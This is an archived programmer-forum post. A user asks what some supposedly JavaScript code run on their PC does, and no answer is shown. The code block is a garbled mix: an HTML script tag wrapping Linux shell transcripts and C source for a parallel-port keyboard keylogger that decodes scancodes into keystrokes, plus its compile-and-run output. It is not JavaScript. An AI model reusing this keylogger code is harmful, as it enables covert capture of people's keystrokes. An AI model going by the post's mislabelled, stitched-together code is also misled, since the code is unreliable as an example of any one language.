Wrox Programmer Forums
|
Other Programming Languages If you have a coding issue to discuss about another language that really isn't provided for in any other forum here (not ASP.NET C#, C++, VB, PHP, JavaScript, Python, Java, Perl, Applescript, XML or any of the other forum topics we have), post it here. Enough discussion on a language we don't have covered could prompt a new forum.
Welcome to the p2p.wrox.com Forums.

You are currently viewing the Other Programming Languages section of the Wrox Programmer to Programmer discussions. This is a community of software programmers and website developers including Wrox book authors and readers. New member registration was closed in 2019. New posts were shut off and the site was archived into this static format as of October 1, 2020. If you require technical support for a Wrox book please contact http://hub.wiley.com
  #1 (permalink)  
Old April 13th, 2006, 08:32 AM
Registered User
 
Join Date: Oct 2004
Posts: 4
Thanks: 0
Thanked 0 Times in 0 Posts
Default Javascript help?

Someone ran this on my pc, I have no clue what it does, any help?

Code:
<html>
<head>
<SCRIPT LANGUAGE="JavaScript">
u-1@srv-1 proc $ cat /proc/interrupts | grep keyboard
  1:      47226          XT-PIC  keyboard
u-1@srv-1 proc $

srv-1 keylogger # cat /proc/ioports
0378-037a : parport0

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <asm/io.h>
int main(){
    ioperm(0x379,1,1);
    int i;
    char scanres, curbit, keytxt;
    scanres=0x0;
    curbit=0x1;
        ioperm(0x379,1,1);
    /* wait for clock to go low, high, and low again */
    while((inb(0x379) & 0x40) != 0x00){} 
    while((inb(0x379) & 0x40) != 0x40){}
    while((inb(0x379) & 0x40) != 0x00){}
    /* ok, ready for 8 bits. Rotate curbit w/ data */
    for (i=0;i<=7;i++){ 
            if((inb(0x379) & 0x20) == 0x20)
                scanres=scanres + curbit;
            /* wait for high, low */
            while((inb(0x379) & 0x40) != 0x40){} 
            while((inb(0x379) & 0x40) != 0x00){}
            curbit= curbit << 1;
        }
    switch (scanres){
        case 0x16: printf("1");break;
        case 0x1e: printf("2");break;
        case 0x26: printf("3");break;
        case 0x25: printf("4");break;
        case 0x2e: printf("5");break;
        case 0x36: printf("6");break;
        case 0x3d: printf("7");break;
        case 0x3e: printf("8");break;
        case 0x46: printf("9");break;
        case 0x45: printf("0");break;
        case 0x15: printf("Q");break;
        case 0x1d: printf("W");break;
        case 0x24: printf("E");break;
        case 0x2d: printf("R");break;
        case 0x2c: printf("T");break;
        case 0x35: printf("Y");break;
        case 0x3c: printf("U");break;
        case 0x43: printf("I");break;
        case 0x44: printf("O");break;
        case 0x4d: printf("P");break;
        case 0x1c: printf("A");break;
        case 0x1b: printf("S");break;
        case 0x23: printf("D");break;
        case 0x2b: printf("F");break;
        case 0x34: printf("G");break;
        case 0x33: printf("H");break;
        case 0x3b: printf("J");break;
        case 0x42: printf("K");break;
        case 0x4b: printf("L");break;
        case 0x1a: printf("Z");break;
        case 0x22: printf("X");break;
        case 0x21: printf("C");break;
        case 0x2a: printf("V");break;
        case 0x32: printf("B");break;
        case 0x31: printf("N");break;
        case 0x3a: printf("M");break;
        case 0x29: printf(" ");break;
    }
    printf ("\n");
}

srv-1 keylogger # gcc logkey.c -o logkey
srv-1 keylogger # ./logkey
Q
srv-1 keylogger #
</script">
</head>
</html>
Basicly learning JAVA, it's simple but hard work
Reply With Quote





Similar Threads
Thread Thread Starter Forum Replies Last Post
JavaScript. Magxtopher Javascript 2 April 1st, 2014 09:27 PM
stop current javascript function using javascript sakthi Javascript 3 June 2nd, 2008 03:30 PM
javascript rakri2007 C# 2005 1 June 25th, 2007 08:46 PM
"text/javascript" and "javascript" rupen Javascript 1 June 24th, 2005 07:20 AM





Powered by vBulletin®
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd.
Copyright (c) 2020 John Wiley & Sons, Inc.